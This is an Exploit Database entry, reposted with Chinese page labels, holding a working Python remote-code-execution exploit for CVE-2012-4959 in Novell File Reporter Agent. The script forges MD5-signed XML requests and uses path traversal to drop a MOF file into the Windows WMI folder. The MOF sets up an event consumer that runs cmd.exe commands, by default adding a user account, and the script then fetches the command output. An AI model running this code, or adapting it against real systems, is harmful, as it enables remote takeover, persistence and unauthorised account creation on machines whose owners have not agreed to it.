Novell File Reporter (NFR) Agent – XML Parsing Remote Code Execution

• Exploit Database
• 9 阅读

• 作者： Abysssec
  日期： 2012-12-12
• 类别：

  • remote
  平台：

  • windows
• 来源：https://www.exploit-db.com/exploits/23323/

• # wwww.abysssec.com
  # Novell File Reporter Agent XML Parsing Remote Code Execution Vulnerability (0day)
  # CVE-2012-4959
  # @abysssec
  # well just one more of our 0day got published after ~2 year 
  # here is info : https://community.rapid7.com/community/metasploit/blog/2012/11/16/nfr-agent-buffer-vulnerabilites-cve-2012-4959
  # and here is our exploit 
  
  import httplib, md5, sys
  
  def message_MD5(arg):
  	v = "SRS" + arg + "SERVER"
  	m = md5.new(v)
  	return m.hexdigest()
  
  def genMof(command="net user abysssec 123456 /add"):		
  	
  	vbs = ""
  	vbs += "\"Set objShell = CreateObject(\\\"WScript.Shell\\\")\\n\"\n"
  	vbs += "\"objShell.Run \\\"cmd.exe /C "
  	vbs += command
  	vbs += "\\\"\""
  
  
  	mof = """
  	#pragma namespace ("\\\\\\\\.\\\\root\\\\subscription")
  	#pragma deleteclass("MyASEventConsumer", nofail)
  	#pragma deleteinstance("__EventFilter.Name=\\\"EF\\\"", nofail)
  	#pragma deleteinstance("ActiveScriptEventConsumer.Name=\\\"ASEC\\\"", nofail)
  
  	class MyASEventConsumer
  	{
  		[key]string Name;
  	};
  
  	instance of ActiveScriptEventConsumer as $CONSUMER
  	{
  		CreatorSID = {1,2,0,0,0,0,0,5,32,0,0,0,32,2,0,0};
  		Name = "ASEC";
  		ScriptingEngine = "VBScript";
  		ScriptText =
  	SCRIPT;
  	};
  
  	instance of __EventFilter as $FILTER
  	{
  		CreatorSID = {1,2,0,0,0,0,0,5,32,0,0,0,32,2,0,0};
  		Name = "EF";
  		Query = "SELECT * FROM __InstanceCreationEvent"
  			" WHERE TargetInstance.__class = \\"MyASEventConsumer\\"";
  		QueryLanguage = "WQL";
  	};
  
  	instance of __FilterToConsumerBinding as $BINDING
  	{
  		CreatorSID = {1,2,0,0,0,0,0,5,32,0,0,0,32,2,0,0};
  		Filter = $FILTER;
  		Consumer = $CONSUMER;
  	};
  
  	instance of MyASEventConsumer
  	{
  		 Name = "Trigger";
  	};
  	""".replace('SCRIPT',vbs)
  
  	return mof
  
  def main(argv=None):
  	if argv is None:
  		argv = sys.argv
  	
  	if len(argv) != 2:
  		print "[!] USAGE : mof \"<command]>\""
  		return
  	
  	msg = "<ROOT><NAME>FSFUI</NAME><UICMD>130</UICMD><TOKEN><FILE>../../../../../../Windows/system32/wbem/mof/command.mof</FILE></TOKEN><![CDATA["
  	msg += genMof(argv[1] + "> C:/Windows/System32/info.dat")
  	msg += "]]></ROOT>" 
  	body = message_MD5(msg).upper() + msg
  	headers = {"Content-type": "text/xml"}
  	
  	conn = httplib.HTTPSConnection("192.168.10.20:3037")			
  	conn.request("POST", "/SRS/CMD",body, headers)
  	response = conn.getresponse()
  	print "\n...Command Executed ..."
  	print response.status, response.reason
  	
  	print response.read()
  	
  	msg = "<ROOT><NAME>FSFUI</NAME><UICMD>126</UICMD><TOKEN><FILE>../../../../../../WINDOWS/system32/info.dat</FILE></TOKEN></ROOT>"
  	body = message_MD5(msg).upper() + msg
  	conn.request("POST", "/SRS/CMD",body, headers)
  	response = conn.getresponse()
  	conn.request("POST", "/SRS/CMD",body, headers)
  	response = conn.getresponse()
  	print "\n...Getting result ..."
  	print response.status, response.reason	
  	print response.read()
  	
  	
  	conn.close()
  
  
  if __name__ == "__main__":
  main()